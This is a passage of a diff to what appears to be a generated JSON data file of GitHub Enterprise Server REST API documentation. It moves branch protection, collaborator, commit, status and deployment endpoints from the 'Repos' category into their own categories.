+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the teams who have push access to this branch. The list includes child teams.</p>",
@@ -40230,10 +40226,10 @@
       "subcategory": "branches"
     },
     "slug": "add-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified teams push access for this branch. You can also give push access to child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40373,10 +40369,10 @@
       "subcategory": "branches"
     },
     "slug": "set-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of teams that have push access to this branch. This removes all teams that previously had push access and grants push access to the new list of teams. Team restrictions include child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40515,10 +40511,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a team to push to this branch. You can also remove push access for child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Teams that should no longer have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40614,10 +40610,10 @@
       "subcategory": "branches"
     },
     "slug": "get-users-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the people who have push access to this branch.</p>",
@@ -40742,10 +40738,10 @@
       "subcategory": "branches"
     },
     "slug": "add-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified people push access for this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40884,10 +40880,10 @@
       "subcategory": "branches"
     },
     "slug": "set-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of people that have push access to this branch. This removes all people that previously had push access and grants push access to the new list of people.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41025,10 +41021,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a user to push to this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames of the people who should no longer have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -46866,10 +46862,8 @@
       "subcategory": "collaborators"
     },
     "slug": "list-repository-collaborators",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>For organization-owned repositories, the list of collaborators includes outside collaborators, organization members that are direct collaborators, organization members with access through team memberships, organization members with access through default organization permissions, and organization owners.</p>\n<p>Team members will include the members of child teams.</p>\n<p>You must have push access to the repository in order to list collaborators.</p>",
@@ -46949,10 +46943,8 @@
       "subcategory": "collaborators"
     },
     "slug": "check-if-a-user-is-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "responses": [
       {
@@ -47070,10 +47062,8 @@
       "subcategory": "collaborators"
     },
     "slug": "add-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.0/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>\n<p>For more information on permission levels, see \"<a href=\"https://help.github.com/en/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization#permission-levels-for-repositories-owned-by-an-organization\">Repository permission levels for an organization</a>\". There are restrictions on which permissions can be granted to organization members when an organization base role is in place. In this case, the permission being given must be equal to or higher than the org base permission. Otherwise, the request will fail with:</p>\n<pre><code>Cannot assign {member} permission of {role name}\n</code></pre>\n<p>Note that, if you choose not to pass any parameters, you'll need to set <code>Content-Length</code> to zero when calling out to this endpoint. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/resources-in-the-rest-api#http-verbs\">HTTP verbs</a>.\"</p>\n<p>The invitee will receive a notification that they have been invited to the repository, which they must accept or decline. They may do this via the notifications page, the email they receive, or by using the <a href=\"https://docs.github.com/enterprise-server@3.0/rest/reference/repos#invitations\">repository invitations API endpoints</a>.</p>\n<p><strong>Rate limits</strong></p>\n<p>You are limited to sending 50 invitations to a repository per 24 hour period. Note there is no limit if you are inviting organization members to an organization repository.</p>",
@@ -47191,10 +47181,8 @@
       "subcategory": "collaborators"
     },
     "slug": "remove-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -47268,10 +47256,8 @@
       "subcategory": "collaborators"
     },
     "slug": "get-repository-permissions-for-a-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Checks the repository permission of a collaborator. The possible repository permissions are <code>admin</code>, <code>write</code>, <code>read</code>, and <code>none</code>.</p>",
@@ -47369,8 +47355,8 @@
       ]
     },
     "slug": "list-commit-comments-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -47455,8 +47441,8 @@
       ]
     },
     "slug": "get-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -47566,8 +47552,8 @@
       "subcategory": "comments"
     },
     "slug": "update-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -47661,8 +47647,8 @@
       "subcategory": "comments"
     },
     "slug": "delete-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -48182,10 +48168,8 @@
       "subcategory": "commits"
     },
     "slug": "list-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -48289,10 +48273,8 @@
       ]
     },
     "slug": "list-branches-for-head-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Returns all branches where the given commit SHA is the HEAD, or latest commit for the branch.</p>",
@@ -48401,8 +48383,8 @@
       ]
     },
     "slug": "list-commit-comments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -48539,8 +48521,8 @@
       "subcategory": "comments"
     },
     "slug": "create-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -48694,10 +48676,8 @@
       ]
     },
     "slug": "list-pull-requests-associated-with-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Lists the merged pull request that introduced the commit to the repository. If the commit is not present in the default branch, additionally returns open pull requests associated with the commit. The results may include open and closed pull requests. Additional preview headers may be required to see certain details for associated pull requests, such as whether a pull request is in a draft state. For more information about previews that might affect this endpoint, see the <a href=\"https://docs.github.com/enterprise-server@3.0/rest/reference/pulls#list-pull-requests\">List pull requests</a> endpoint.</p>",
@@ -48794,10 +48774,8 @@
       "subcategory": "commits"
     },
     "slug": "get-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the contents of a single commit reference. You must have <code>read</code> access for the repository to use this endpoint.</p>\n<p><strong>Note:</strong> If there are more than 300 files in the commit diff, the response will include pagination link headers for the remaining files, up to a limit of 3000 files. Each page contains the static commit information, and the only changes are to the file listing.</p>\n<p>You can pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to  fetch <code>diff</code> and <code>patch</code> formats. Diffs with binary data will have no <code>patch</code> property.</p>\n<p>To return only the SHA-1 hash of the commit reference, you can provide the <code>sha</code> custom <a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> in the <code>Accept</code> header. You can use this endpoint to check if a remote reference's SHA-1 hash is the same as your local reference's SHA-1 hash by providing the local SHA-1 reference as the ETag.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -49179,8 +49157,8 @@
       "subcategory": "statuses"
     },
     "slug": "get-the-combined-status-for-a-specific-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -49284,8 +49262,8 @@
       "subcategory": "statuses"
     },
     "slug": "list-commit-statuses-for-a-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -49368,10 +49346,8 @@
       "subcategory": "commits"
     },
     "slug": "compare-two-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>The <code>basehead</code> param is comprised of two parts: <code>base</code> and <code>head</code>. Both must be branch names in <code>repo</code>. To compare branches across other repositories in the same network as <code>repo</code>, use the format <code>&lt;USERNAME&gt;:branch</code>.</p>\n<p>The response from the API is equivalent to running the <code>git log base..head</code> command; however, commits are returned in chronological order. Pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to fetch diff and patch formats.</p>\n<p>The response also includes details on the files that were changed between the two commits. This includes the status of the change (for example, if a file was added, removed, modified, or renamed), and details of the change itself. For example, files with a <code>renamed</code> status have a <code>previous_filename</code> field showing the previous filename of the file, and files with a <code>modified</code> status have a <code>patch</code> field showing the changes made to the file.</p>\n<p><strong>Working with large comparisons</strong></p>\n<p>The response will include a comparison of up to 250 commits. If you are working with a larger commit range, you can use the <a href=\"https://docs.github.com/enterprise-server@3.0/rest/reference/repos#list-commits\">List commits</a> to enumerate all commits in the range.</p>\n<p>For comparisons with extremely large diffs, you may receive an error response indicating that the diff took too long\nto generate. You can typically resolve this error by using a smaller commit range.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -50858,10 +50834,8 @@
       ]
     },
     "slug": "list-deployments",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Simple filtering of deployments is available via query parameters:</p>",
@@ -51071,10 +51045,8 @@
       ]
     },
     "slug": "create-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Deployments offer a few configurable parameters with certain defaults.</p>\n<p>The <code>ref</code> parameter can be any named branch, tag, or SHA. At GitHub Enterprise Server we often deploy branches and verify them\nbefore we merge a pull request.</p>\n<p>The <code>environment</code> parameter allows deployments to be issued to different runtime environments. Teams often have\nmultiple environments for verifying their applications, such as <code>production</code>, <code>staging</code>, and <code>qa</code>. This parameter\nmakes it easier to track which environments have requested deployments. The default environment is <code>production</code>.</p>\n<p>The <code>auto_merge</code> parameter is used to ensure that the requested ref is not behind the repository's default branch. If\nthe ref <em>is</em> behind the default branch for the repository, we will attempt to merge it for you. If the merge succeeds,\nthe API will return a successful merge commit. If merge conflicts prevent the merge from succeeding, the API will\nreturn a failure response.</p>\n<p>By default, <a href=\"https://docs.github.com/enterprise-server@3.0/rest/reference/repos#statuses\">commit statuses</a> for every submitted context must be in a <code>success</code>\nstate. The <code>required_contexts</code> parameter allows you to specify a subset of contexts that must be <code>success</code>, or to\nspecify contexts that have not yet been submitted. You are not required to use commit statuses to deploy. If you do\nnot require any contexts or create any commit statuses, the deployment will always succeed.</p>\n<p>The <code>payload</code> parameter is available for any extra information that a deployment system might need. It is a JSON text\nfield that will be passed on when a deployment event is dispatched.</p>\n<p>The <code>task</code> parameter is used by the deployment system to allow different execution paths. In the web world this might\nbe <code>deploy:migrations</code> to run schema changes on the system. In the compiled world this could be a flag to compile an\napplication with debugging enabled.</p>\n<p>Users with <code>repo</code> or <code>repo_deployment</code> scopes can create a deployment for a given ref.</p>\n<h4 id=\"merged-branch-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merged-branch-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merged branch response</h4>\n<p>You will see this response when GitHub automatically merges the base branch into the topic branch instead of creating\na deployment. This auto-merge happens when:</p>\n<ul>\n<li>Auto-merge option is enabled in the repository</li>\n<li>Topic branch does not include the latest changes on the base branch, which is <code>master</code> in the response example</li>\n<li>There are no merge conflicts</li>\n</ul>\n<p>If there are no new commits in the base branch, a new request to create a deployment should give a successful\nresponse.</p>\n<h4 id=\"merge-conflict-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merge-conflict-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merge conflict response</h4>\n<p>This error happens when the <code>auto_merge</code> option is enabled and when the default branch (in this case <code>master</code>), can't\nbe merged into the branch that's being deployed (in this case <code>topic-branch</code>), due to merge conflicts.</p>\n<h4 id=\"failed-commit-status-checks\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#failed-commit-status-checks\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" 